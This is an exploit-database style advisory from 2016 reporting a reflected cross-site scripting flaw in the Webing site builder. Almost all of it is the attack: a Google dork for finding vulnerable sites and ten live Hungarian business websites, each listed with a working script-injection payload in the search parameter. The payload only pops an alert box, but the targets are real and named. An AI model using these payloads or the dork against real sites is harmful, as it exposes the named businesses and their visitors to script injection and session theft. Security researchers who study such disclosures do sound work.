###################### # Exploit Title : Webing Cross Site Scripting # Exploit Author : Ashiyane Digital Security Team # Vendor Homepage : http://webing.hu/ # Google Dork : "Webáruház és közösségi portál készítés:" # Date: 03 02 2016 # Tested On :Windows 7 / FireFox ###################### #demos and explanations: # #http://www.hbz.hu/?q="><script>alert(/XSS/)</script> #http://www.huniko-dent.hu/?q="><script>alert(/XSS/)</script> #http://www.autohifi-city.hu/?q="><script>alert(/XSS/)</script> #http://www.donpedropizza.hu/?q="><script>alert(/XSS/)</script> #http://noifitness-debrecen.hu/?q="><script>alert(/XSS/)</script> #http://webing.hu/?q="><script>alert(/XSS/)</script> #http://www.egeszsegesgyerekek.hu/?q="><script>alert(/XSS/)</script> #http://mhkk.hu/?q="><script>alert(/xss/)</script> #http://www.pizza-rendeles-miskolc.hu/?q="><script>alert(/xss/)</script> #http://www.drjuice.info/?q="><script>alert(/xss/)</script> # ###################### # discovered by : Amir.ght ######################